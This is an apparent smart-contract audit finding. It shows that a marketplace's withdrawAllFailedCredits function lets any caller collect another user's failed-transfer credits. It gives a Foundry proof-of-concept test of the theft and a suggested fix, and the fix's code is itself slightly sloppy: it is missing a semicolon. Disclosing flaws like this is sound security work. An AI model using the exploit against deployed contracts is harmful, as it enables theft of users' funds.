ETH transferred without address checks
Description
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
Anyone can directly execute the BidBeastsNFTMarketPlace::withdrawAllFailedCredits(receiver) and withdraw the receiver's failedTransferCredits.
Impact:
Anyone can withdraw any user's failedTransferCredits.
Proof of Concept
For testing the payout failure logic used the mock RejectEther contract from BidBeastsMarketPlaceTest.t.sol
function testMaliciousWithdrawAllFailedCredits() public {
address attacker = makeAddr("attacker");
uint256 failedTransferCredits;
_mintNFT();
_listNFT();
vm.deal(address(rejector), 20 ether);
vm.startPrank(address(rejector));
market.placeBid{value: 10 ether}(0);
vm.stopPrank();
failedTransferCredits = market.failedTransferCredits(address(rejector));
console.log("Attacker balance:\t\t", address(attacker).balance);
console.log("Contract Rejector balance:\t", address(rejector).balance);
console.log("Failed transfer credits:\t", failedTransferCredits);
vm.startPrank(attacker);
market.withdrawAllFailedCredits(address(rejector));
vm.stopPrank();
console.log("Attacker balance:\t\t", address(attacker).balance);
assertEq(address(attacker).balance, failedTransferCredits);
}
Recommended Mitigation
Consider introducing checks for msg.sender to ensure the recipient of the money is as intended.
function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Not receiver")
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}